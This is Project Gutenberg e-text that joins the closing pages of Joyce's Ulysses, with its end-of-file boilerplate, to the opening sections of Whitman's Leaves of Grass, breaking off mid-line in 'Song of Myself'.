sun shines for +you he said the day we were lying among the rhododendrons on Howth head +in the grey tweed suit and his straw hat the day I got him to propose to +me yes first I gave him the bit of seedcake out of my mouth and it was +leapyear like now yes 16 years ago my God after that long kiss I near +lost my breath yes he said I was a flower of the mountain yes so we are +flowers all a womans body yes that was one true thing he said in his life +and the sun shines for you today yes that was why I liked him because I +saw he understood or felt what a woman is and I knew I could always get +round him and I gave him all the pleasure I could leading him on till he +asked me to say yes and I wouldnt answer first only looked out over the +sea and the sky I was thinking of so many things he didnt know of Mulvey +and Mr Stanhope and Hester and father and old captain Groves and the +sailors playing all birds fly and I say stoop and washing up dishes they +called it on the pier and the sentry in front of the governors house with +the thing round his white helmet poor devil half roasted and the Spanish +girls laughing in their shawls and their tall combs and the auctions in +the morning the Greeks and the jews and the Arabs and the devil knows who +else from all the ends of Europe and Duke street and the fowl market all +clucking outside Larby Sharons and the poor donkeys slipping half asleep +and the vague fellows in the cloaks asleep in the shade on the steps and +the big wheels of the carts of the bulls and the old castle thousands of +years old yes and those handsome Moors all in white and turbans like +kings asking you to sit down in their little bit of a shop and Ronda with +the old windows of the posadas 2 glancing eyes a lattice hid for her +lover to kiss the iron and the wineshops half open at night and the +castanets and the night we missed the boat at Algeciras the watchman +going about serene with his lamp and O that awful deepdown torrent O and +the sea the sea crimson sometimes like fire and the glorious sunsets and +the figtrees in the Alameda gardens yes and all the queer little streets +and the pink and blue and yellow houses and the rosegardens and the +jessamine and geraniums and cactuses and Gibraltar as a girl where I was +a Flower of the mountain yes when I put the rose in my hair like the +Andalusian girls used or shall I wear a red yes and how he kissed me +under the Moorish wall and I thought well as well him as another and then +I asked him with my eyes to ask again yes and then he asked me would I +yes to say yes my mountain flower and first I put my arms around him yes +and drew him down to me so he could feel my breasts all perfume yes and +his heart was going like mad and yes I said yes I will Yes. + + + +Trieste-Zurich-Paris +1914-1921 + + + + + + + +End of the Project Gutenberg EBook of Ulysses, by James Joyce + +*** END OF THE PROJECT GUTENBERG EBOOK ULYSSES *** + +This file should be named ulyss12.txt or ulyss12.zip +Corrected EDITIONS of our eBooks get a new NUMBER, ulyss11.txt +VERSIONS based on separate sources get new LETTER, ulyss10a.txt + +This etext was prepared by Col Choat . + +Project Gutenberg eBooks are often created from several printed +editions, all of which are confirmed as Public Domain in the US +unless a copyright notice is included. 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Fuhrman + + + + + +LEAVES OF GRASS + + + + + +Come, said my soul, +Such verses for my Body let us write, (for we are one,) +That should I after return, +Or, long, long hence, in other spheres, +There to some group of mates the chants resuming, +(Tallying Earth's soil, trees, winds, tumultuous waves,) +Ever with pleas'd smile I may keep on, +Ever and ever yet the verses owning--as, first, I here and now +Signing for Soul and Body, set to them my name, + +Walt Whitman + + + +[BOOK I. INSCRIPTIONS] + +} One's-Self I Sing + +One's-self I sing, a simple separate person, +Yet utter the word Democratic, the word En-Masse. + +Of physiology from top to toe I sing, +Not physiognomy alone nor brain alone is worthy for the Muse, I say + the Form complete is worthier far, +The Female equally with the Male I sing. + +Of Life immense in passion, pulse, and power, +Cheerful, for freest action form'd under the laws divine, +The Modern Man I sing. + + + +} As I Ponder'd in Silence + +As I ponder'd in silence, +Returning upon my poems, considering, lingering long, +A Phantom arose before me with distrustful aspect, +Terrible in beauty, age, and power, +The genius of poets of old lands, +As to me directing like flame its eyes, +With finger pointing to many immortal songs, +And menacing voice, What singest thou? it said, +Know'st thou not there is hut one theme for ever-enduring bards? +And that is the theme of War, the fortune of battles, +The making of perfect soldiers. + +Be it so, then I answer'd, +I too haughty Shade also sing war, and a longer and greater one than any, +Waged in my book with varying fortune, with flight, advance + and retreat, victory deferr'd and wavering, +(Yet methinks certain, or as good as certain, at the last,) the + field the world, +For life and death, for the Body and for the eternal Soul, +Lo, I too am come, chanting the chant of battles, +I above all promote brave soldiers. + + + +} In Cabin'd Ships at Sea + +In cabin'd ships at sea, +The boundless blue on every side expanding, +With whistling winds and music of the waves, the large imperious waves, +Or some lone bark buoy'd on the dense marine, +Where joyous full of faith, spreading white sails, +She cleaves the ether mid the sparkle and the foam of day, or under + many a star at night, +By sailors young and old haply will I, a reminiscence of the land, be read, +In full rapport at last. + +Here are our thoughts, voyagers' thoughts, +Here not the land, firm land, alone appears, may then by them be said, +The sky o'erarches here, we feel the undulating deck beneath our feet, +We feel the long pulsation, ebb and flow of endless motion, +The tones of unseen mystery, the vague and vast suggestions of the + briny world, the liquid-flowing syllables, +The perfume, the faint creaking of the cordage, the melancholy rhythm, +The boundless vista and the horizon far and dim are all here, +And this is ocean's poem. + +Then falter not O book, fulfil your destiny, +You not a reminiscence of the land alone, +You too as a lone bark cleaving the ether, purpos'd I know not + whither, yet ever full of faith, +Consort to every ship that sails, sail you! +Bear forth to them folded my love, (dear mariners, for you I fold it + here in every leaf;) +Speed on my book! spread your white sails my little bark athwart the + imperious waves, +Chant on, sail on, bear o'er the boundless blue from me to every sea, +This song for mariners and all their ships. + + + +} To Foreign Lands + +I heard that you ask'd for something to prove this puzzle the New World, +And to define America, her athletic Democracy, +Therefore I send you my poems that you behold in them what you wanted. + + + +} To a Historian + +You who celebrate bygones, +Who have explored the outward, the surfaces of the races, the life + that has exhibited itself, +Who have treated of man as the creature of politics, aggregates, + rulers and priests, +I, habitan of the Alleghanies, treating of him as he is in himself + in his own rights, +Pressing the pulse of the life that has seldom exhibited itself, + (the great pride of man in himself,) +Chanter of Personality, outlining what is yet to be, +I project the history of the future. + + + +} To Thee Old Cause + +To thee old cause! +Thou peerless, passionate, good cause, +Thou stern, remorseless, sweet idea, +Deathless throughout the ages, races, lands, +After a strange sad war, great war for thee, +(I think all war through time was really fought, and ever will be + really fought, for thee,) +These chants for thee, the eternal march of thee. + +(A war O soldiers not for itself alone, +Far, far more stood silently waiting behind, now to advance in this book.) + +Thou orb of many orbs! +Thou seething principle! thou well-kept, latent germ! thou centre! +Around the idea of thee the war revolving, +With all its angry and vehement play of causes, +(With vast results to come for thrice a thousand years,) +These recitatives for thee,--my book and the war are one, +Merged in its spirit I and mine, as the contest hinged on thee, +As a wheel on its axis turns, this book unwitting to itself, +Around the idea of thee. + + + +} Eidolons + + I met a seer, +Passing the hues and objects of the world, +The fields of art and learning, pleasure, sense, + To glean eidolons. + + Put in thy chants said he, +No more the puzzling hour nor day, nor segments, parts, put in, +Put first before the rest as light for all and entrance-song of all, + That of eidolons. + + Ever the dim beginning, +Ever the growth, the rounding of the circle, +Ever the summit and the merge at last, (to surely start again,) + Eidolons! eidolons! + + Ever the mutable, +Ever materials, changing, crumbling, re-cohering, +Ever the ateliers, the factories divine, + Issuing eidolons. + + Lo, I or you, +Or woman, man, or state, known or unknown, +We seeming solid wealth, strength, beauty build, + But really build eidolons. + + The ostent evanescent, +The substance of an artist's mood or savan's studies long, +Or warrior's, martyr's, hero's toils, + To fashion his eidolon. + + Of every human life, +(The units gather'd, posted, not a thought, emotion, deed, left out,) +The whole or large or small summ'd, added up, + In its eidolon. + + The old, old urge, +Based on the ancient pinnacles, lo, newer, higher pinnacles, +From science and the modern still impell'd, + The old, old urge, eidolons. + + The present now and here, +America's busy, teeming, intricate whirl, +Of aggregate and segregate for only thence releasing, + To-day's eidolons. + + These with the past, +Of vanish'd lands, of all the reigns of kings across the sea, +Old conquerors, old campaigns, old sailors' voyages, + Joining eidolons. + + Densities, growth, facades, +Strata of mountains, soils, rocks, giant trees, +Far-born, far-dying, living long, to leave, + Eidolons everlasting. + + Exalte, rapt, ecstatic, +The visible but their womb of birth, +Of orbic tendencies to shape and shape and shape, + The mighty earth-eidolon. + + All space, all time, +(The stars, the terrible perturbations of the suns, +Swelling, collapsing, ending, serving their longer, shorter use,) + Fill'd with eidolons only. + + The noiseless myriads, +The infinite oceans where the rivers empty, +The separate countless free identities, like eyesight, + The true realities, eidolons. + + Not this the world, +Nor these the universes, they the universes, +Purport and end, ever the permanent life of life, + Eidolons, eidolons. + + Beyond thy lectures learn'd professor, +Beyond thy telescope or spectroscope observer keen, beyond all mathematics, +Beyond the doctor's surgery, anatomy, beyond the chemist with his chemistry, + The entities of entities, eidolons. + + Unfix'd yet fix'd, +Ever shall be, ever have been and are, +Sweeping the present to the infinite future, + Eidolons, eidolons, eidolons. + + The prophet and the bard, +Shall yet maintain themselves, in higher stages yet, +Shall mediate to the Modern, to Democracy, interpret yet to them, + God and eidolons. + + And thee my soul, +Joys, ceaseless exercises, exaltations, +Thy yearning amply fed at last, prepared to meet, + Thy mates, eidolons. + + Thy body permanent, +The body lurking there within thy body, +The only purport of the form thou art, the real I myself, + An image, an eidolon. + + Thy very songs not in thy songs, +No special strains to sing, none for itself, +But from the whole resulting, rising at last and floating, + A round full-orb'd eidolon. + + + +} For Him I Sing + +For him I sing, +I raise the present on the past, +(As some perennial tree out of its roots, the present on the past,) +With time and space I him dilate and fuse the immortal laws, +To make himself by them the law unto himself. + + + +} When I Read the Book + +When I read the book, the biography famous, +And is this then (said I) what the author calls a man's life? +And so will some one when I am dead and gone write my life? +(As if any man really knew aught of my life, +Why even I myself I often think know little or nothing of my real life, +Only a few hints, a few diffused faint clews and indirections +I seek for my own use to trace out here.) + + + +} Beginning My Studies + +Beginning my studies the first step pleas'd me so much, +The mere fact consciousness, these forms, the power of motion, +The least insect or animal, the senses, eyesight, love, +The first step I say awed me and pleas'd me so much, +I have hardly gone and hardly wish'd to go any farther, +But stop and loiter all the time to sing it in ecstatic songs. + + + +} Beginners + +How they are provided for upon the earth, (appearing at intervals,) +How dear and dreadful they are to the earth, +How they inure to themselves as much as to any--what a paradox + appears their age, +How people respond to them, yet know them not, +How there is something relentless in their fate all times, +How all times mischoose the objects of their adulation and reward, +And how the same inexorable price must still be paid for the same + great purchase. + + + +} To the States + +To the States or any one of them, or any city of the States, Resist + much, obey little, +Once unquestioning obedience, once fully enslaved, +Once fully enslaved, no nation, state, city of this earth, ever + afterward resumes its liberty. + + + +} On Journeys Through the States + +On journeys through the States we start, +(Ay through the world, urged by these songs, +Sailing henceforth to every land, to every sea,) +We willing learners of all, teachers of all, and lovers of all. + +We have watch'd the seasons dispensing themselves and passing on, +And have said, Why should not a man or woman do as much as the + seasons, and effuse as much? + +We dwell a while in every city and town, +We pass through Kanada, the North-east, the vast valley of the + Mississippi, and the Southern States, +We confer on equal terms with each of the States, +We make trial of ourselves and invite men and women to hear, +We say to ourselves, Remember, fear not, be candid, promulge the + body and the soul, +Dwell a while and pass on, be copious, temperate, chaste, magnetic, +And what you effuse may then return as the seasons return, +And may be just as much as the seasons. + + + +} To a Certain Cantatrice + +Here, take this gift, +I was reserving it for some hero, speaker, or general, +One who should serve the good old cause, the great idea, the + progress and freedom of the race, +Some brave confronter of despots, some daring rebel; +But I see that what I was reserving belongs to you just as much as to any. + + + +} Me Imperturbe + +Me imperturbe, standing at ease in Nature, +Master of all or mistress of all, aplomb in the midst of irrational things, +Imbued as they, passive, receptive, silent as they, +Finding my occupation, poverty, notoriety, foibles, crimes, less + important than I thought, +Me toward the Mexican sea, or in the Mannahatta or the Tennessee, + or far north or inland, +A river man, or a man of the woods or of any farm-life of these + States or of the coast, or the lakes or Kanada, +Me wherever my life is lived, O to be self-balanced for contingencies, +To confront night, storms, hunger, ridicule, accidents, rebuffs, as + the trees and animals do. + + + +} Savantism + +Thither as I look I see each result and glory retracing itself and + nestling close, always obligated, +Thither hours, months, years--thither trades, compacts, + establishments, even the most minute, +Thither every-day life, speech, utensils, politics, persons, estates; +Thither we also, I with my leaves and songs, trustful, admirant, +As a father to his father going takes his children along with him. + + + +} The Ship Starting + +Lo, the unbounded sea, +On its breast a ship starting, spreading all sails, carrying even + her moonsails. +The pennant is flying aloft as she speeds she speeds so stately-- + below emulous waves press forward, +They surround the ship with shining curving motions and foam. + + + +} I Hear America Singing + +I hear America singing, the varied carols I hear, +Those of mechanics, each one singing his as it should be blithe and strong, +The carpenter singing his as he measures his plank or beam, +The mason singing his as he makes ready for work, or leaves off work, +The boatman singing what belongs to him in his boat, the deckhand + singing on the steamboat deck, +The shoemaker singing as he sits on his bench, the hatter singing as + he stands, +The wood-cutter's song, the ploughboy's on his way in the morning, + or at noon intermission or at sundown, +The delicious singing of the mother, or of the young wife at work, + or of the girl sewing or washing, +Each singing what belongs to him or her and to none else, +The day what belongs to the day--at night the party of young + fellows, robust, friendly, +Singing with open mouths their strong melodious songs. + + + +} What Place Is Besieged? + +What place is besieged, and vainly tries to raise the siege? +Lo, I send to that place a commander, swift, brave, immortal, +And with him horse and foot, and parks of artillery, +And artillery-men, the deadliest that ever fired gun. + + + +} Still Though the One I Sing + +Still though the one I sing, +(One, yet of contradictions made,) I dedicate to Nationality, +I leave in him revolt, (O latent right of insurrection! O + quenchless, indispensable fire!) + + + +} Shut Not Your Doors + +Shut not your doors to me proud libraries, +For that which was lacking on all your well-fill'd shelves, yet + needed most, I bring, +Forth from the war emerging, a book I have made, +The words of my book nothing, the drift of it every thing, +A book separate, not link'd with the rest nor felt by the intellect, +But you ye untold latencies will thrill to every page. + + + +} Poets to Come + +Poets to come! orators, singers, musicians to come! +Not to-day is to justify me and answer what I am for, +But you, a new brood, native, athletic, continental, greater than + before known, +Arouse! for you must justify me. + +I myself but write one or two indicative words for the future, +I but advance a moment only to wheel and hurry back in the darkness. + +I am a man who, sauntering along without fully stopping, turns a + casual look upon you and then averts his face, +Leaving it to you to prove and define it, +Expecting the main things from you. + + + +} To You + +Stranger, if you passing meet me and desire to speak to me, why + should you not speak to me? +And why should I not speak to you? + + + +} Thou Reader + +Thou reader throbbest life and pride and love the same as I, +Therefore for thee the following chants. + + + +[BOOK II] + +} Starting from Paumanok + + 1 +Starting from fish-shape Paumanok where I was born, +Well-begotten, and rais'd by a perfect mother, +After roaming many lands, lover of populous pavements, +Dweller in Mannahatta my city, or on southern savannas, +Or a soldier camp'd or carrying my knapsack and gun, or a miner + in California, +Or rude in my home in Dakota's woods, my diet meat, my drink from + the spring, +Or withdrawn to muse and meditate in some deep recess, +Far from the clank of crowds intervals passing rapt and happy, +Aware of the fresh free giver the flowing Missouri, aware of + mighty Niagara, +Aware of the buffalo herds grazing the plains, the hirsute and + strong-breasted bull, +Of earth, rocks, Fifth-month flowers experienced, stars, rain, snow, + my amaze, +Having studied the mocking-bird's tones and the flight of the + mountain-hawk, +And heard at dawn the unrivall'd one, the hermit thrush from the + swamp-cedars, +Solitary, singing in the West, I strike up for a New World. + + 2 +Victory, union, faith, identity, time, +The indissoluble compacts, riches, mystery, +Eternal progress, the kosmos, and the modern reports. +This then is life, +Here is what has come to the surface after so many throes and convulsions. + +How curious! how real! +Underfoot the divine soil, overhead the sun. + +See revolving the globe, +The ancestor-continents away group'd together, +The present and future continents north and south, with the isthmus + between. + +See, vast trackless spaces, +As in a dream they change, they swiftly fill, +Countless masses debouch upon them, +They are now cover'd with the foremost people, arts, institutions, known. + +See, projected through time, +For me an audience interminable. + +With firm and regular step they wend, they never stop, +Successions of men, Americanos, a hundred millions, +One generation playing its part and passing on, +Another generation playing its part and passing on in its turn, +With faces turn'd sideways or backward towards me to listen, +With eyes retrospective towards me. + + 3 +Americanos! conquerors! marches humanitarian! +Foremost! century marches! Libertad! masses! +For you a programme of chants. + +Chants of the prairies, +Chants of the long-running Mississippi, and down to the Mexican sea, +Chants of Ohio, Indiana, Illinois, Iowa, Wisconsin and Minnesota, +Chants going forth from the centre from Kansas, and thence equidistant, +Shooting in pulses of fire ceaseless to vivify all. + + 4 +Take my leaves America, take them South and take them North, +Make welcome for them everywhere, for they are your own off-spring, +Surround them East and West, for they would surround you, +And you precedents, connect lovingly with them, for they connect + lovingly with you. + +I conn'd old times, +I sat studying at the feet of the great masters, +Now if eligible O that the great masters might return and study me. + +In the name of these States shall I scorn the antique? +Why these are the children of the antique to justify it. + + 5 +Dead poets, philosophs, priests, +Martyrs, artists, inventors, governments long since, +Language-shapers on other shores, +Nations once powerful, now reduced, withdrawn, or desolate, +I dare not proceed till I respectfully credit what you have left + wafted hither, +I have perused it, own it is admirable, (moving awhile among it,) +Think nothing can ever be greater, nothing can ever deserve more + than it deserves, +Regarding it all intently a long while, then dismissing it, +I stand in my place with my own day here. + +Here lands female and male, +Here the heir-ship and heiress-ship of the world, here the flame of + materials, +Here spirituality the translatress, the openly-avow'd, +The ever-tending, the finale of visible forms, +The satisfier, after due long-waiting now advancing, +Yes here comes my mistress the soul. + + 6 +The soul, +Forever and forever--longer than soil is brown and solid--longer + than water ebbs and flows. +I will make the poems of materials, for I think they are to be the + most spiritual poems, +And I will make the poems of my body and of mortality, +For I think I shall then supply myself with the poems of my soul and + of immortality. + +I will make a song for these States that no one State may under any + circumstances be subjected to another State, +And I will make a song that there shall be comity by day and by + night between all the States, and between any two of them, +And I will make a song for the ears of the President, full of + weapons with menacing points, +And behind the weapons countless dissatisfied faces; +And a song make I of the One form'd out of all, +The fang'd and glittering One whose head is over all, +Resolute warlike One including and over all, +(However high the head of any else that head is over all.) + +I will acknowledge contemporary lands, +I will trail the whole geography of the globe and salute courteously + every city large and small, +And employments! I will put in my poems that with you is heroism + upon land and sea, +And I will report all heroism from an American point of view. + +I will sing the song of companionship, +I will show what alone must finally compact these, +I believe these are to found their own ideal of manly love, + indicating it in me, +I will therefore let flame from me the burning fires that were + threatening to consume me, +I will lift what has too long kept down those smouldering fires, +I will give them complete abandonment, +I will write the evangel-poem of comrades and of love, +For who but I should understand love with all its sorrow and joy? +And who but I should be the poet of comrades? + + 7 +I am the credulous man of qualities, ages, races, +I advance from the people in their own spirit, +Here is what sings unrestricted faith. + +Omnes! omnes! let others ignore what they may, +I make the poem of evil also, I commemorate that part also, +I am myself just as much evil as good, and my nation is--and I say + there is in fact no evil, +(Or if there is I say it is just as important to you, to the land or + to me, as any thing else.) + +I too, following many and follow'd by many, inaugurate a religion, I + descend into the arena, +(It may be I am destin'd to utter the loudest cries there, the + winner's pealing shouts, +Who knows? they may rise from me yet, and soar above every thing.) + +Each is not for its own sake, +I say the whole earth and all the stars in the sky are for religion's sake. + +I say no man has ever yet been half devout enough, +None has ever yet adored or worship'd half enough, +None has begun to think how divine he himself is, and how certain + the future is. + +I say that the real and permanent grandeur of these States must be + their religion, +Otherwise there is just no real and permanent grandeur; +(Nor character nor life worthy the name without religion, +Nor land nor man or woman without religion.) + + 8 +What are you doing young man? +Are you so earnest, so given up to literature, science, art, amours? +These ostensible realities, politics, points? +Your ambition or business whatever it may be? + +It is well--against such I say not a word, I am their poet also, +But behold! such swiftly subside, burnt up for religion's sake, +For not all matter is fuel to heat, impalpable flame, the essential + life of the earth, +Any more than such are to religion. + + 9 +What do you seek so pensive and silent? +What do you need camerado? +Dear son do you think it is love? + +Listen dear son--listen America, daughter or son, +It is a painful thing to love a man or woman to excess, and yet it + satisfies, it is great, +But there is something else very great, it makes the whole coincide, +It, magnificent, beyond materials, with continuous hands sweeps and + provides for all. + + 10 +Know you, solely to drop in the earth the germs of a greater religion, +The following chants each for its kind I sing. + +My comrade! +For you to share with me two greatnesses, and a third one rising + inclusive and more resplendent, +The greatness of Love and Democracy, and the greatness of Religion. + +Melange mine own, the unseen and the seen, +Mysterious ocean where the streams empty, +Prophetic spirit of materials shifting and flickering around me, +Living beings, identities now doubtless near us in the air that we + know not of, +Contact daily and hourly that will not release me, +These selecting, these in hints demanded of me. + +Not he with a daily kiss onward from childhood kissing me, +Has winded and twisted around me that which holds me to him, +Any more than I am held to the heavens and all the spiritual world, +After what they have done to me, suggesting themes. + +O such themes--equalities! O divine average! +Warblings under the sun, usher'd as now, or at noon, or setting, +Strains musical flowing through ages, now reaching hither, +I take to your reckless and composite chords, add to them, and + cheerfully pass them forward. + + 11 +As I have walk'd in Alabama my morning walk, +I have seen where the she-bird the mocking-bird sat on her nest in + the briers hatching her brood. + +I have seen the he-bird also, +I have paus'd to hear him near at hand inflating his throat and + joyfully singing. + +And while I paus'd it came to me that what he really sang for was + not there only, +Nor for his mate nor himself only, nor all sent back by the echoes, +But subtle, clandestine, away beyond, +A charge transmitted and gift occult for those being born. + + 12 +Democracy! near at hand to you a throat is now inflating itself and + joyfully singing. + +Ma femme! for the brood beyond us and of us, +For those who belong here and those to come, +I exultant to be ready for them will now shake out carols stronger + and haughtier than have ever yet been heard upon earth. + +I will make the songs of passion to give them their way, +And your songs outlaw'd offenders, for I scan you with kindred eyes, + and carry you with me the same as any. + +I will make the true poem of riches, +To earn for the body and the mind whatever adheres and goes forward + and is not dropt by death; +I will effuse egotism and show it underlying all, and I will be the + bard of personality, +And I will show of male and female that either is but the equal of + the other, +And sexual organs and acts! do you concentrate in me, for I am determin'd + to tell you with courageous clear voice to prove you illustrious, +And I will show that there is no imperfection in the present, and + can be none in the future, +And I will show that whatever happens to anybody it may be turn'd to + beautiful results, +And I will show that nothing can happen more beautiful than death, +And I will thread a thread through my poems that time and events are + compact, +And that all the things of the universe are perfect miracles, each + as profound as any. + +I will not make poems with reference to parts, +But I will make poems, songs, thoughts, with reference to ensemble, +And I will not sing with reference to a day, but with reference to + all days, +And I will not make a poem nor the least part of a poem but has + reference to the soul, +Because having look'd at the objects of the universe, I find there + is no one nor any particle of one but has reference to the soul. + + 13 +Was somebody asking to see the soul? +See, your own shape and countenance, persons, substances, beasts, + the trees, the running rivers, the rocks and sands. + +All hold spiritual joys and afterwards loosen them; +How can the real body ever die and be buried? + +Of your real body and any man's or woman's real body, +Item for item it will elude the hands of the corpse-cleaners and + pass to fitting spheres, +Carrying what has accrued to it from the moment of birth to the + moment of death. + +Not the types set up by the printer return their impression, the + meaning, the main concern, +Any more than a man's substance and life or a woman's substance and + life return in the body and the soul, +Indifferently before death and after death. + +Behold, the body includes and is the meaning, the main concern and + includes and is the soul; +Whoever you are, how superb and how divine is your body, or any part + of it! + + 14 +Whoever you are, to you endless announcements! + +Daughter of the lands did you wait for your poet? +Did you wait for one with a flowing mouth and indicative hand? +Toward the male of the States, and toward the female of the States, +Exulting words, words to Democracy's lands. + +Interlink'd, food-yielding lands! +Land of coal and iron! land of gold! land of cotton, sugar, rice! +Land of wheat, beef, pork! land of wool and hemp! land of the apple + and the grape! +Land of the pastoral plains, the grass-fields of the world! land of + those sweet-air'd interminable plateaus! +Land of the herd, the garden, the healthy house of adobie! +Lands where the north-west Columbia winds, and where the south-west + Colorado winds! +Land of the eastern Chesapeake! land of the Delaware! +Land of Ontario, Erie, Huron, Michigan! +Land of the Old Thirteen! Massachusetts land! land of Vermont and + Connecticut! +Land of the ocean shores! land of sierras and peaks! +Land of boatmen and sailors! fishermen's land! +Inextricable lands! the clutch'd together! the passionate ones! +The side by side! the elder and younger brothers! the bony-limb'd! +The great women's land! the feminine! the experienced sisters and + the inexperienced sisters! +Far breath'd land! Arctic braced! Mexican breez'd! the diverse! the + compact! +The Pennsylvanian! the Virginian! the double Carolinian! +O all and each well-loved by me! my intrepid nations! O I at any + rate include you all with perfect love! +I cannot be discharged from you! not from one any sooner than another! +O death! O for all that, I am yet of you unseen this hour with + irrepressible love, +Walking New England, a friend, a traveler, +Splashing my bare feet in the edge of the summer ripples on + Paumanok's sands, +Crossing the prairies, dwelling again in Chicago, dwelling in every town, +Observing shows, births, improvements, structures, arts, +Listening to orators and oratresses in public halls, +Of and through the States as during life, each man and woman my neighbor, +The Louisianian, the Georgian, as near to me, and I as near to him and her, +The Mississippian and Arkansian yet with me, and I yet with any of them, +Yet upon the plains west of the spinal river, yet in my house of adobie, +Yet returning eastward, yet in the Seaside State or in Maryland, +Yet Kanadian cheerily braving the winter, the snow and ice welcome to me, +Yet a true son either of Maine or of the Granite State, or the + Narragansett Bay State, or the Empire State, +Yet sailing to other shores to annex the same, yet welcoming every + new brother, +Hereby applying these leaves to the new ones from the hour they + unite with the old ones, +Coming among the new ones myself to be their companion and equal, + coming personally to you now, +Enjoining you to acts, characters, spectacles, with me. + + 15 +With me with firm holding, yet haste, haste on. +For your life adhere to me, +(I may have to be persuaded many times before I consent to give + myself really to you, but what of that? +Must not Nature be persuaded many times?) + +No dainty dolce affettuoso I, +Bearded, sun-burnt, gray-neck'd, forbidding, I have arrived, +To be wrestled with as I pass for the solid prizes of the universe, +For such I afford whoever can persevere to win them. + + 16 +On my way a moment I pause, +Here for you! and here for America! +Still the present I raise aloft, still the future of the States I + harbinge glad and sublime, +And for the past I pronounce what the air holds of the red aborigines. + +The red aborigines, +Leaving natural breaths, sounds of rain and winds, calls as of birds + and animals in the woods, syllabled to us for names, +Okonee, Koosa, Ottawa, Monongahela, Sauk, Natchez, Chattahoochee, + Kaqueta, Oronoco, +Wabash, Miami, Saginaw, Chippewa, Oshkosh, Walla-Walla, +Leaving such to the States they melt, they depart, charging the + water and the land with names. + + 17 +Expanding and swift, henceforth, +Elements, breeds, adjustments, turbulent, quick and audacious, +A world primal again, vistas of glory incessant and branching, +A new race dominating previous ones and grander far, with new contests, +New politics, new literatures and religions, new inventions and arts. + +These, my voice announcing--I will sleep no more but arise, +You oceans that have been calm within me! how I feel you, + fathomless, stirring, preparing unprecedented waves and storms. + + 18 +See, steamers steaming through my poems, +See, in my poems immigrants continually coming and landing, +See, in arriere, the wigwam, the trail, the hunter's hut, the flat-boat, + the maize-leaf, the claim, the rude fence, and the backwoods village, +See, on the one side the Western Sea and on the other the Eastern Sea, + how they advance and retreat upon my poems as upon their own shores, +See, pastures and forests in my poems--see, animals wild and tame--see, + beyond the Kaw, countless herds of buffalo feeding on short curly grass, +See, in my poems, cities, solid, vast, inland, with paved streets, + with iron and stone edifices, ceaseless vehicles, and commerce, +See, the many-cylinder'd steam printing-press--see, the electric + telegraph stretching across the continent, +See, through Atlantica's depths pulses American Europe reaching, + pulses of Europe duly return'd, +See, the strong and quick locomotive as it departs, panting, blowing + the steam-whistle, +See, ploughmen ploughing farms--see, miners digging mines--see, + the numberless factories, +See, mechanics busy at their benches with tools--see from among them + superior judges, philosophs, Presidents, emerge, drest in + working dresses, +See, lounging through the shops and fields of the States, me + well-belov'd, close-held by day and night, +Hear the loud echoes of my songs there--read the hints come at last. + + 19 +O camerado close! O you and me at last, and us two only. +O a word to clear one's path ahead endlessly! +O something ecstatic and undemonstrable! O music wild! +O now I triumph--and you shall also; +O hand in hand--O wholesome pleasure--O one more desirer and lover! +O to haste firm holding--to haste, haste on with me. + + + +[BOOK III] + +} Song of Myself + + 1 +I celebrate myself, and sing myself, +And what I assume you shall assume, +For every atom belonging to me as good belongs to you. + +I loafe and invite my soul, +I lean and loafe at my ease observing a spear of summer grass. + +My tongue, every atom of my blood, form'd from this soil, this air, +Born here of parents born here from parents the same, and their + parents the same, +I, now thirty-seven years old in perfect health begin, +Hoping to cease not till death. + +Creeds and schools in abeyance, +Retiring back a while sufficed at what they are, but never forgotten, +I harbor for good or bad, I permit to speak at every hazard, +Nature without check with original energy. + + 2 +Houses and rooms are full of perfumes, the shelves are crowded with + perfumes, +I breathe the fragrance myself and know it and like it, +The distillation would intoxicate me also, but I shall not let it. + +The atmosphere is not a perfume, it has no taste of the + distillation, it is odorless, +It is for my mouth forever, I am in love with it, +I will go to the bank by the wood and become undisguised and naked, +I am mad for it to be in contact with me. + +The smoke of my own breath, +Echoes, ripples, buzz'd whispers, love-root, silk-thread, crotch and vine, +My respiration and inspiration, the beating of my heart, the passing + of blood and air through my lungs, +The sniff of green leaves and dry leaves, and of the shore and + dark-color'd sea-rocks, and of hay in the barn, + +The sound of the belch'd words of my voice loos'd to the eddies of + the wind, +A few light kisses, a few embraces, a reaching around of arms, +The play of shine and shade on the trees as the supple boughs wag, +The delight alone or in the rush of the streets, or along the fields + and hill-sides, +The feeling of health, the full-noon trill, the song of me rising + from bed and meeting the sun. + +Have you reckon'd a thousand acres much? have you reckon'd the earth much? +Have you practis'd so long to learn to read? +Have you felt so proud to get at the meaning of poems? + +Stop this day and night with me and you shall possess the origin of + all poems, +You shall possess the good of the earth and sun, (there are millions + of suns left,) +You shall no longer take things at second or third hand, nor look through + the eyes of the dead, nor feed on the spectres in books, +You shall not look through my eyes either, nor take things from me, +You shall listen to all sides and filter them from your self. + + 3 +I have heard what the talkers were talking, the talk of the + beginning and the end, +But I do not talk of the beginning or the end. + +There was never any more inception than there is now, +Nor any more youth or age than there is now, +And will never be any more perfection than there is now, +Nor any more heaven or hell than there is now. + +Urge and urge and urge, +Always the procreant urge of the world. + +Out of the dimness opposite equals advance, always substance and + increase, always sex, +Always a knit of identity, always distinction, always a breed of life. +To elaborate is no avail, learn'd and unlearn'd feel that it is so. + +Sure as the most certain sure, plumb in the uprights, well + entretied, braced in the beams, +Stout as a horse, affectionate, haughty, electrical, +I and this mystery here we stand. + +Clear and sweet is my soul, and clear and sweet is all that is not my soul. + +Lack one lacks both, and the unseen is proved by the seen, +Till that becomes unseen and receives proof in its turn. + +Showing the best and dividing it from the worst age vexes age, +Knowing the perfect fitness and equanimity of things, while they + discuss I am silent, and go bathe and admire myself. + +Welcome is every organ and attribute of me, and of any man hearty and clean, +Not an inch nor a particle of an inch is vile, and none shall be + less familiar than the rest. + +I am satisfied--I see, dance, laugh, sing; +As the hugging and loving bed-fellow sleeps at my side through the night, + and withdraws at the peep of the day with stealthy tread, +Leaving me baskets cover'd with white towels swelling the house with + their plenty, +Shall I postpone my acceptation and realization and scream at my eyes, +That they turn from gazing after and down the road, +And forthwith cipher and show me to a cent, +Exactly the value of one and exactly the value of two, and which is ahead? + + 4 +Trippers and askers surround me, +People I meet, the effect upon me of my early life or the ward and + city I live in, or the nation, +The latest dates, discoveries, inventions, societies, authors old and new, +My dinner, dress, associates, looks, compliments, dues, +The real or fancied indifference of some man or woman I love, +The sickness of one of my folks or of myself, or ill-doing or loss + or lack of money, or depressions or exaltations, +Battles, the horrors of fratricidal war, the fever of doubtful news, + the fitful events; +These come to me days and nights and go from me again, +But they are not the Me myself. + +Apart from the pulling and hauling stands what I am, +Stands amused, complacent, 